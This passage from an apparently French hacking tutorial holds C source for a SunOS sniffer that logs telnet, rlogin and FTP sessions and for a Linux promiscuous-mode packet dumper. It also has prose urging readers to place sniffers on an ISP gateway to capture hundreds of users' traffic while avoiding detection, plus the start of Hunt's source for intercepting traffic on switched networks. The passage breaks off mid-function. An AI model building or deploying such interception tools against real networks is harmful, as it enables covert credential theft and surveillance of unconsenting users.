   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                        NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }

   fprintf(LOG,"\n-- \n");
   fflush(LOG);

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
   else
    CLroot = CLe->Next;
   free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
     } \
  } \
}

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
 register struct ip     *ip;
 register struct tcphdr *tcph;

 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;
   }

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return;
 }

    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
 tcph = (struct tcphdr *)(Packet + IPHLEN);

 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_LOGINSERVER) ||
       (TCPD == IPPORT_FTP)
   )) return;

 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;

   p += ((IPHLEN * 4) + (TCPOFF * 4));

 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
 }

   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

      CLm->PKcnt++;

      if(length>0)
        if( (CLm->Length + length) < MAXBUFLEN ) {
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");
        }

      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
      }

   } else {

      if(TCPFL(TH_SYN)) {
         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
      }

   }

   IDLE_NODE();

 }

}

/* signal handler
 */
void death()
{ register struct CREC *CLe;

    while(CLe=CLroot)
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
        fclose(LOG);
    exit(1);
}

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
 */
void do_it()
{
    int cc;
    char *buf;
    u_short sp_ts_len;

    if(!(buf=malloc(CHUNKSIZE)))
        Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
  {
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)&ifr;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");
  }

    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
        register char *bp = buf,
                      *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;

            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(struct nit_bufhdr);
            bp += hdrp->nhb_totlen;
            filter(cp, (u_long)hdrp->nhb_msglen);
        }
    }
    Pexit((-1),"Eth: read");
}
 /* Yo Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms"

void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];

    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
    if(strcmp(pwd,crypt(buf,pwd)))
        exit(1);
}
    */
void main(argc, argv)
int argc;
char **argv;
{
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,
           ac=1,
           backg=0;

    ProgName=argv[0];

 /*     getauth(); */

    LOG=NULL;
    device=NULL;
    while((ac<argc) && (argv[ac][0] == '-')) {
       register char ch = argv[ac++][1];
       switch(toupper(ch)) {
            case 'I': device=argv[ac++];
                      break;
            case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
                         Zexit(1,"Output file cant be opened\n");
                      break;
            case 'B': backg=1;
                      break;
            case 'D': debug=1;
                      break;
            default : fprintf(ERR,
                        "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
                            ProgName);
                      exit(1);
       }
    }

    if(!device) {
        if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
            Pexit(1,"Eth: socket");

        ifc.ifc_len = sizeof(cbuf);
        ifc.ifc_buf = cbuf;
        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
            Pexit(1,"Eth: ioctl");

        close(s);
        device = ifc.ifc_req->ifr_name;
    }

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

    if(!LOG)
        LOG=stdout;

    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);

    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");
         backg=0;
    }

    if(backg) {
        register int s;

        if((s=fork())>0) {
           fprintf(ERR,"[pid %d]\n",s);
           exit(0);
        } else if(s<0)
           Pexit(1,"fork");

        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
                close(s);
        }
    }
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
    fflush(LOG);

    do_it();
}
 

/* ipl.c 1/3/95    by loq */
/* monitors ip packets for Linux */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>

#define BUFLEN 8192
#define ETHLINKHDR 14
 

print_data(int count, char *buff)
{
 int i,j,c;
 int printnext=1;
 if(count)
 {
 if(count%16)
  c=count+(16-count%16);
 else c=count;
 }
  else
  c=count;
 for(i=0;i<c;i++)
 {
  if(printnext) { printnext--; printf("%.4x ",i&0xffff); }
  if(i<count)
  printf("%3.2x",buff[i]&0xff);
  else
  printf("   ");
  if(!((i+1)%8))
   if((i+1)%16)
    printf(" -");
   else
    {
     printf("   ");
     for(j=i-15;j<=i;j++)
       if(j<count) {
      if( (buff[j]&0xff) >= 0x20 &&
          (buff[j]&0xff)<=0x7e)
            printf("%c",buff[j]&0xff);
      else printf(".");
      } else printf(" ");
    printf("\n"); printnext=1;
    }
 }
}

int
initdevice(device, pflag)
 char *device;
 int pflag;
{
#define PROTO htons(0x0800)   /* Ethernet code for IP protocol */

 int if_fd=0;
 struct ifreq ifr;

 if ( (if_fd=socket(AF_INET,SOCK_PACKET,PROTO)) < 0 ) {
  perror("Can't get socket");
  exit(2);
 }

 strcpy(ifr.ifr_name, device);       /* interface we're gonna use */
 if( ioctl(if_fd, SIOCGIFFLAGS, &ifr) < 0 ) {    /* get flags */
  close(if_fd);
  perror("Can't get flags");
  exit(2);
 }
#if 1
 if ( pflag )
  ifr.ifr_flags |= IFF_PROMISC;         /* set promiscuous mode */
 else
  ifr.ifr_flags &= ~(IFF_PROMISC);
#endif

 if( ioctl(if_fd, SIOCSIFFLAGS, &ifr) < 0 ) {    /* set flags */
  close(if_fd);
  perror("Can't set flags");
  exit(2);
 }
 return if_fd;
}

struct etherpacket {
 struct ethhdr  eth;
 struct iphdr  ip;
 struct tcphdr  tcp;
 char   data[8192];
 };

main()
{
 int linktype;
 int if_eth_fd=initdevice("eth0",1);
#if 0
 int if_ppp_fd=initdevice("sl0",1);
#endif
 struct etherpacket ep;
 struct sockaddr dest;
 struct iphdr *ip;
 struct tcphdr *tcp;
 struct timeval timeout;
 fd_set rd,wr;
 int dlen;
#if 0
 struct slcompress *slc=slhc_init(64,64);
#endif

 for(;;)
 {
  bzero(&dest,sizeof(dest));
  dlen=0;
  FD_ZERO(&rd);
  FD_ZERO(&wr);
  FD_SET(if_eth_fd,&rd);
#if 0
  FD_SET(if_ppp_fd,&rd);
#endif
  timeout.tv_sec=0;
  timeout.tv_usec=0;
  ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
  tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
  while(timeout.tv_sec==0 && timeout.tv_usec==0)
  {
  timeout.tv_sec=10;
  timeout.tv_usec=0;
  select(20,&rd,&wr,NULL,&timeout);
  if(FD_ISSET(if_eth_fd,&rd))
   {
   printf("eth\n");
   recvfrom(if_eth_fd,&ep,sizeof(ep),0,&dest,&dlen);
   }
#if 0
  else
   if(FD_ISSET(if_ppp_fd,&rd))
   {
   recvfrom(if_ppp_fd,&ep,sizeof(ep),0,&dest,&dlen);
   printf("ppp\n");
   }
#endif
  }

  printf("proto: %.4x",ntohs(ep.eth.h_proto));
#if 0
  if(ep.eth.h_proto==ntohs(8053))
  {
   slhc_uncompress(slc,&ep,sizeof(ep));
  }
#endif

  if(ep.eth.h_proto==ntohs(ETH_P_IP))
  {
  printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x->",
   ep.eth.h_source[0],ep.eth.h_source[1],
   ep.eth.h_source[2],ep.eth.h_source[3],
   ep.eth.h_source[4],ep.eth.h_source[5]);
  printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ",
   ep.eth.h_dest[0],ep.eth.h_dest[1],
   ep.eth.h_dest[2],ep.eth.h_dest[3],
   ep.eth.h_dest[4],ep.eth.h_dest[5]);
  printf("%s[%d]->",inet_ntoa(ip->saddr),ntohs(tcp->source));
  printf("%s[%d]\n",inet_ntoa(ip->daddr),ntohs(tcp->dest));
  print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),
   ep.data-2);
  }
 }
}

   Maintenant que vous savez comment fonctionne voyons quel avantage nous pouvons en tirer: sur un réseau local, qui est connecté à Internet par un serveur (tête de réseau), il suffit de placer un sniffer sur cette même tête de réseau pour que les packets transitant vers lui puis de lui vers le net, soient interceptés. Si vous ne voyez absolument pas ce que celà représente, imaginez un réseau de 500 ordinateurs ou de 500 pc représentés par une adresse IP. Par exemple un ISP quelquonque: les packets peuvent transiter vers lui, et vous vous interceptez chaque packet envoyé par ces 500 machines. EN quelques heures, votre disque dur est mort, rempli. Il existe des sniffers qui font un filtrage d'IP. Appuyez vous sur ce fait ou bien ne filez ces sniffers qu'aux machines visées. ATTENTION: des méthodes de protections ont été élaborées, surtout au niveau du sniffing. Refilez un sniffer et faites vous repérer risque de vous apporter de grosses emmerdes. Il se peut aussi que les packets envoyés par X ordinateur soit crypté, il vous faudra trouver comment les décrypter, de plus ces sniffers ne marchent que quand il y a un hub.

Cas du switch:

Le switch est intelligent; il se comporte de la manière suivante: Quand une machine A veut envoyer quelquechose à la machine C le switch fait passer la trame directement à la machine C sans passer par la machine B à l'instar du hub. C'est là qu'intervient Hunt. Ce programme permet de faire croire au switch que vous êtes la machine C. Bien entendu celà demande à connaitre l'adresse de la machine C. A partir de là, vous récupérez le packet

Et ça va même encore plus loin...:

De plus Hunt, après avoir récupéré le packet, peut l'envoyer à la machine C: ni vu ni connu, voilà qu'un réseau est mis sous surveillance.

Mais:

N'oublions pas que si Hunt permet de récupérer les packets destinés à UNE machine, Hunt ne permet aps l'écoute de tout le réseau à cause du switch.

Infos:

Actuellement Hunt v1.4 est disponible. Celui-ci fonctionne sur: Linux 2.2, GlibC 2.1 with LinuxThreads, Ethernet

Pour les plus curieux d'entre vous, voici le code source de Hunt:

/*
 *
 * This is free software. You can redistribute it and/or modify under
 * the terms of the GNU General Public License version 2.
 *
 *  Copyright (C) 1998 by kra
 *
 */
#include "hunt.h"
#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <assert.h>
 
 

#ifndef IP_OFFMASK
#define IP_OFFMASK 0x1fff
#endif
#ifndef IP_MF
#define IP_MF    0x2000
#endif

int linksock = -1;
int mac_learn_from_ip = 0;

int conn_list_mac = 0;
int conn_list_seq = 0;

struct hash conn_table;
struct hash mac_table;

int hunt_ready = 0;
pthread_mutex_t mutex_hunt_ready = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t cond_hunt_ready = PTHREAD_COND_INITIALIZER;

/*
 * list of struct packet_info with information which packets skip in process
 * of updating connection
 */
struct list l_skip_update = LIST_INIT(struct packet_info, next);

/*
 * lists of functions which pass packets to modules
 */
struct list l_ifunc_ip = LIST_INIT(struct ifunc_item, next_ip);
struct list l_ifunc_tcp = LIST_INIT(struct ifunc_item, next_tcp);
struct list l_ifunc_udp = LIST_INIT(struct ifunc_item, next_udp);
struct list l_ifunc_icmp = LIST_INIT(struct ifunc_item, next_icmp);
struct list l_ifunc_arp = LIST_INIT(struct ifunc_item, next_arp);
struct list l_ifunc_fast_tcp = LIST_INIT(struct ifunc_item, next_tcp);

/*
 *
 * packet operations
 *
 */

static struct list l_packets = LIST_INIT(struct packet, p_next_free);
int packets_allocated = 0;

struct packet *packet_new(void)
{
 struct packet *p;

 if (!(p = list_pop(&l_packets))) {
  if (!(p = malloc(sizeof(struct packet)))) {
   perror("malloc");
   return NULL;
  }
  pthread_mutex_init(&p->p_mutex, NULL);
  p->p_use_count = 0;
  p->p_hdr.p_tcph = NULL;
  p->p_data = NULL;
  p->p_type = PACKET_NONE;
  p->p_ipc = 0;
  p->p_ipc_arg = NULL;

  packets_allocated++;
 }
 p->p_use_count = 1;
 return p;
}

void packet_copy_data(struct packet *dst, struct packet *src)
{
 memcpy(dst->p_raw, src->p_raw, src->p_raw_len);
 dst->p_raw_len = src->p_raw_len;
 dst->p_type = src->p_type;
 dst->p_ethh = (struct ethhdr *)(dst->p_raw +
    ((char *)src->p_ethh - src->p_raw));
 dst->p_iph = (struct iphdr *)(dst->p_raw +
    ((char *)src->p_iph - src->p_raw));
 dst->p_arph = (struct arphdr *)(dst->p_raw +
    ((char *)src->p_arph - src->p_raw));
 dst->p_hdr.p_tcph = (struct tcphdr *)(dst->p_raw +
    ((char *)src->p_hdr.p_tcph - src->p_raw));
 dst->p_data_len = src->p_data_len;
 dst->p_data = dst->p_raw + (src->p_data - src->p_raw);
 memcpy(dst->p_arg, src->p_arg, sizeof(src->p_arg));
 dst->p_ipc = src->p_ipc;
 dst->p_ipc_arg = src->p_ipc_arg;
}

void packet_free(struct packet *p)
{
 int is_free;

 pthread_mutex_lock(&p->p_mutex);
 if (--p->p_use_count == 0)
  is_free = 1;
 else
  is_free = 0;
 pthread_mutex_unlock(&p->p_mutex);
 if (is_free)
  list_push(&l_packets, p);
}

void packet_want(struct packet *p)
{
 pthread_mutex_lock(&p->p_mutex);
 ++p->p_use_count;
 pthread_mutex_unlock(&p->p_mutex);
}

void packet_flush(struct list *l)
{
 struct packet *p;

 while ((p = list_pop(l)))
  packet_free(p);
}

void packet_preallocate(int count)
{
 struct packet **p = alloca(count * sizeof(struct packet *));
 int i;

 for (i = 0; i < count; i++)
  p[i] = packet_new();
 for (i = 0; i < count; i++)
  packet_free(p[i]);
}

int packet_count(void)
{
 return list_count(&l_packets);
}

/*
 *
 * TCP connection database
 *
 */
static inline void fill_uci(struct user_conn_info *uci, struct packet *p)
{
 uci->src_addr = p->p_iph->saddr;
 uci->dst_addr = p->p_iph->daddr;
 uci->src_port = p->p_hdr.p_tcph->source;
 uci->dst_port = p->p_hdr.p_tcph->dest;
}

#if 0
static int ht_eq(unsigned int key, struct conn_info *c,
   struct packet *p)
{
 if (c->src_addr == p->p_iph->saddr &&
     c->dst_addr == p->p_iph->daddr &&
     c->src_port == p->p_hdr.p_tcph->source &&
     c->dst_port == p->p_hdr.p_tcph->dest)
  return 1;
 if (c->src_addr == p->p_iph->daddr &&
     c->dst_addr == p->p_iph->saddr &&
     c->src_port == p->p_hdr.p_tcph->dest &&
     c->dst_port == p->p_hdr.p_tcph->source)
  return 1;
 return 0;
}
#endif
static int ht_eq(unsigned int key, struct conn_info *c,
   struct user_conn_info *uci)
{
 if (c->src_addr == uci->src_addr &&
     c->dst_addr == uci->dst_addr &&
     c->src_port == uci->src_port &&
     c->dst_port == uci->dst_port)
  return 1;
 if (c->src_addr == uci->dst_addr &&
     c->dst_addr == uci->src_addr &&
     c->src_port == uci->dst_port &&
     c->dst_port == uci->src_port)
  return 1;
 return 0;
}
 

void remove_conn_if_dont_match(void)
{
 struct hash_iterator hi;
 struct conn_info *ci;
 unsigned int key;
 int count_to_remove = 0;
 unsigned int *key_to_remove;
 struct conn_info **ci_to_remove;

 hash_lock(&conn_table);
 count_to_remove = 0;
 key_to_remove = alloca(sizeof(unsigned int) * hash_count(&conn_table));
 ci_to_remove = alloca(sizeof(struct conn_info *) * hash_count(&conn_table));
 hash_iter_set(&hi, &conn_table);
 while ((ci = hash_iter_get(&hi, &key))) {
  if (!conn_add_match(ci->src_addr, ci->dst_addr, ci->src_port, ci->dst_port)) {
   ci_to_remove[count_to_remove] = ci;
   key_to_remove[count_to_remove++] = key;
  }
 }
 hash_iter_end(&hi);
 for ( ; count_to_remove >= 0; count_to_remove--)
  hash_remove(&conn_table, key_to_remove[count_to_remove],
       ci_to_remove[count_to_remove]);
 hash_unlock(&conn_table);
}

void conn_free(struct conn_info *ci)
{
 int free_it;

 pthread_mutex_lock(&ci->mutex);
 if (--ci->use_count == 0)
  free_it = 1;
 else
  free_it = 0;
 pthread_mutex_unlock(&ci->mutex);
 if (free_it)
  free(ci);
}

struct conn_info *conn_get(struct user_conn_info *uci)
{
 unsigned int key;
 struct conn_info *ci;

 key = uci_generate_key(uci);
 hash_lock(&conn_table);
 if ((ci = hash_get(&conn_table, key, uci))) {
  pthread_mutex_lock(&ci->mutex);
  ++ci->use_count;
  pthread_mutex_unlock(&ci->mutex);
 }
 hash_unlock(&conn_table);
 return ci;
}

int conn_exist(struct user_conn_info *uci)
{
 unsigned int key;
 struct conn_info *ci;

 key = uci_generate_key(uci);
 if ((ci = hash_get(&conn_table, key, uci)))
  return 1;
 else
  return 0;
}

static int packet_match(struct packet_info *pi, struct packet *p)
{
 struct iphdr *iph = p->p_iph;
 struct tcphdr *tcph = p->p_hdr.p_tcph;

 if (pi->src_addr == iph->saddr &&
     pi->dst_addr == iph->daddr &&
     pi->src_port == tcph->source &&
     pi->dst_port == tcph->dest &&
     pi->src.next_seq == tcph->seq &&
     pi->src.next_d_seq == tcph->ack_seq &&
     memcmp(pi->src.src_mac, p->p_ethh->h_source, ETH_ALEN) == 0 &&
     memcmp(pi->src.dst_mac, p->p_ethh->h_dest, ETH_ALEN) == 0)
  return 1;
 else
  return 0;
}

static int conn_skip_update(struct conn_info *ci, struct packet *p)
{
 struct list_iterator iter;
 struct packet_info *pi;

 list_iter_set(&iter, &l_skip_update);
 while ((pi = list_iter_get(&iter))) {
  if (packet_match(pi, p)) {
   list_iter_end(&iter);
   list_remove(&l_skip_update, pi);
   return 1;
  }
 }
 list_iter_end(&iter);
 return 0;
}

static void __conn_add(struct packet *p, unsigned int key)
{
 struct iphdr *iph = p->p_iph;
 struct tcphdr *tcph = p->p_hdr.p_tcph;
 struct conn_info *ci;
 struct host_info *h_src, *h_dst;

 ci = malloc(sizeof(struct conn_info));
 assert(ci);
 memset(ci, 0, sizeof(struct conn_info));
 ci->use_count = 1;
 pthread_mutex_init(&ci->mutex, NULL);

 if (ntohs(tcph->dest) >= 1024 && ntohs(tcph->source) < 1024) {
  ci->src_addr = iph->daddr;
  ci->dst_addr = iph->saddr;
  ci->src_port = tcph->dest;
  ci->dst_port = tcph->source;
  h_src = &ci->dst;
  h_dst = &ci->src;
 } else {
  ci->src_addr = iph->saddr;
  ci->dst_addr = iph->daddr;
  ci->src_port = tcph->source;
  ci->dst_port = tcph->dest;
  h_src = &ci->src;
  h_dst = &ci->dst;
 }
 h_src->next_seq = htonl(ntohl(tcph->seq) + p->p_data_len +
    tcph->syn ? 1 : 0);
 if (tcph->ack)
  h_src->next_d_seq = tcph->ack_seq;
 h_src->window = tcph->window;
 h_src->id = iph->id;
 memcpy(h_src->dst_mac, p->p_ethh->h_dest, ETH_ALEN);
 memcpy(h_src->src_mac, p->p_ethh->h_source, ETH_ALEN);

 /* guess or try to fill h_dst too */
 h_dst->next_seq = h_src->next_d_seq;
 h_dst->next_d_seq = h_src->next_seq;
 h_dst->window = tcph->window;
 h_dst->id = iph->id;
 memcpy(h_dst->dst_mac, h_src->src_mac, ETH_ALEN);
 memcpy(h_dst->src_mac, h_src->dst_mac, ETH_ALEN);

 hash_put(&conn_table, key, ci);

 print_new_conn_ind(1);
}

static void ack_storm_notify(struct conn_info *ci, struct user_conn_info *uci)
{
 struct timeval tv;
 int print_it = 0;

 if (!ci->ack_storm_notify_sec) {
  gettimeofday(&tv, NULL);
  print_it = 1;
 } else {
  gettimeofday(&tv, NULL);
  if (tv.tv_sec - ci->ack_storm_notify_sec >= 10)
   print_it = 1;
 }
 if (print_it) {
  set_tty_color(COLOR_BRIGHTRED);
  printf("\nhunt: possible ACK storm: ");
  print_user_conn_info(uci, 1);
  set_tty_color(COLOR_LIGHTGRAY);
  ci->ack_storm_notify_sec = tv.tv_sec;
 }
}

static void conn_add_update(struct packet *p)
{
 static struct user_conn_info last_toadd = {0, 0, 0, 0};
 static int last_count = 0;
 unsigned int key;
 struct conn_info *ci;
 struct user_conn_info uci;
 unsigned int old_next_d_seq;

 fill_uci(&uci, p);
 key = uci_generate_key(&uci);

 hash_lock(&conn_table);
 if ((ci = hash_get(&conn_table, key, &uci)) &&
     ht_eq(key, ci, &uci) == 1) {
  if (!conn_skip_update(ci, p)) {
   struct host_info *h_src, *h_dst;
   struct iphdr *iph = p->p_iph;
   struct tcphdr *tcph = p->p_hdr.p_tcph;

   if (ci->src_addr == iph->saddr &&
       ci->dst_addr == iph->daddr &&
       ci->src_port == tcph->source &&
       ci->dst_port == tcph->dest) {
    h_src = &ci->src;
    h_dst = &ci->dst;
   } else {
    h_src = &ci->dst;
    h_dst = &ci->src;
   }
   old_next_d_seq = h_src->next_d_seq;

   h_src->next_seq = htonl(ntohl(tcph->seq) +
      p->p_data_len);
   if (tcph->ack)
    h_src->next_d_seq = tcph->ack_seq;
   h_src->id = iph->id; /* well, this should be in IP updater not in TCP */
   h_src->window = tcph->window;
   /* well these can change too :-) */
   memcpy(h_src->dst_mac, p->p_ethh->h_dest, ETH_ALEN);
   memcpy(h_src->src_mac, p->p_ethh->h_source, ETH_ALEN);
   /*
    * ACK storm detection
    */
   h_src->delta_d_seq += ntohl(h_src->next_d_seq) -
      ntohl(old_next_d_seq);
   if (++ci->update_count % 400 == 0) {
    if (ci->src.delta_d_seq == 0 &&
        ci->dst.delta_d_seq == 0) {
     ack_storm_notify(ci, &uci);
    } else {
     ci->src.delta_d_seq = 0;
     ci->dst.delta_d_seq = 0;
    }
   }
  }
 } else {
   /* test if we could add the connection */
  if (p->p_data_len > 0) {
   /*
    * well, it contains data - add it
    */
   if (conn_add_policy(p->p_iph, p->p_hdr.p_tcph))
    __conn_add(p, key);
  } else {
   /*
    * well, check it this way because we don't want
    * to add RST, ACK to FIN, ... as connectinos.
    */
   if ((last_toadd.src_addr == p->p_iph->saddr &&
       last_toadd.dst_addr == p->p_iph->daddr &&
       last_toadd.src_port == p->p_hdr.p_tcph->source &&
       last_toadd.dst_port == p->p_hdr.p_tcph->dest) ||
       (last_toadd.src_addr == p->p_iph->daddr &&
       last_toadd.dst_addr == p->p_iph->saddr &&
       last_toadd.src_port == p->p_hdr.p_tcph->dest &&
       last_toadd.dst_port == p->p_hdr.p_tcph->source)) {
    if (++last_count >= 10) {
     last_count = 0;
     if (conn_add_policy(p->p_iph, p->p_hdr.p_tcph))
      __conn_add(p, key);
    }
   } else {
    last_count = 0;
    last_toadd.src_addr = p->p_iph->saddr;
    last_toadd.dst_addr = p->p_iph->daddr;
    last_toadd.src_port = p->p_hdr.p_tcph->source;
    last_toadd.dst_port = p->p_hdr.p_tcph->dest;
   }
  }
 }
 hash_unlock(&conn_table);
}

static void conn_del(struct packet *p)
{
 struct conn_info *ci;
 struct user_conn_info uci;
 unsigned int key;
 int remove_it = 0;
#if 0
 fill_uci(&uci, p);
 key = uci_generate_key(&uci);
 if ((ci = hash_remove(&conn_table, key, &uci))) {
  conn_free(ci);
 }
#endif
 fill_uci(&uci, p);
 key = uci_generate_key(&uci);
 hash_lock(&conn_table);
 if ((ci = hash_get(&conn_table, key, &uci)) &&
     ht_eq(key, ci, &uci) == 1) {
  if (!conn_skip_update(ci, p)) {
   if (p->p_iph->saddr == ci->src_addr &&
       p->p_iph->daddr == ci->dst_addr &&
       p->p_hdr.p_tcph->source == ci->src_port &&
       p->p_hdr.p_tcph->dest == ci->dst_port) {
    /* from source to dest */
        if (p->p_hdr.p_tcph->seq == ci->dst.next_d_seq)
     remove_it = 1;
   } else {
    /* from dest to source */
    if (p->p_hdr.p_tcph->seq == ci->src.next_d_seq)
     remove_it = 1;
   }
  }
 }
 if (remove_it) {
  if (ci == hash_remove(&conn_table, key, &uci))
   conn_free(ci);
  hash_unlock(&conn_table);
 } else {
  hash_unlock(&conn_table);
  conn_add_update(p);
 }
}

static void conn_add(struct packet *p)
{
 struct conn_info *ci;
 struct user_conn_info uci;
 unsigned int key;

 fill_uci(&uci, p);
 key = uci_generate_key(&uci);
 hash_lock(&conn_table);
 if ((ci = hash_get(&conn_table, key, &uci)) &&
     ht_eq(key, ci, &uci) == 1) {
  conn_add_update(p);
#if 0
   ci = hash_remove(&conn_table, key, &uci);
   hash_unlock(&conn_table);
   conn_free(ci);
   hash_lock(&conn_table);
#endif
 } else {
  __conn_add(p, key);
 }
 hash_unlock(&conn_table);
}

static void conn_update_table(struct packet *p, struct ethhdr *ethh, struct iphdr *iph)
{
 struct tcphdr *tcph = p->p_hdr.p_tcph;

 if (tcph->syn && !tcph->ack) {
  if (conn_add_policy(iph, tcph)) {
   conn_add(p);
  }
 } else if (tcph->rst || tcph->fin) {
  #if 0
  if (conn_add_policy(iph, tcph))
  #endif
   conn_del(p);
 } else {
  #if 0
  if (conn_add_policy(iph, tcph))
  #endif
   conn_add_update(p);
 }
}

/*
 *
 * function lists
 *
 */
static void process_tcp(struct packet *p)
{
 struct ifunc_item *li;
 struct list_iterator iter;

 list_iter_set(&iter, &l_ifunc_tcp);
 while ((li = list_iter_get(&iter)))
  li->func(p, li->arg);
 list_iter_end(&iter);
}

static void process_udp(struct packet *p)
{
 struct ifunc_item *li;
 struct list_iterator iter;

 list_iter_set(&iter, &l_ifunc_udp);
 while ((li = list_iter_get(&iter)))
  li->func(p, li->arg);
 list_iter_end(&iter);
}

static void process_icmp(struct packet *p)
{
 struct ifunc_item *li;
 struct list_iterator iter;

 list_iter_set(&iter, &l_ifunc_icmp);
 while ((li = list_iter_get(&iter)))
  li->func(p, li->arg);
 list_iter_end(&iter);
}

static void process_arp(struct packet *p)
{
 struct ifunc_item *li;
 struct list_iterator iter;

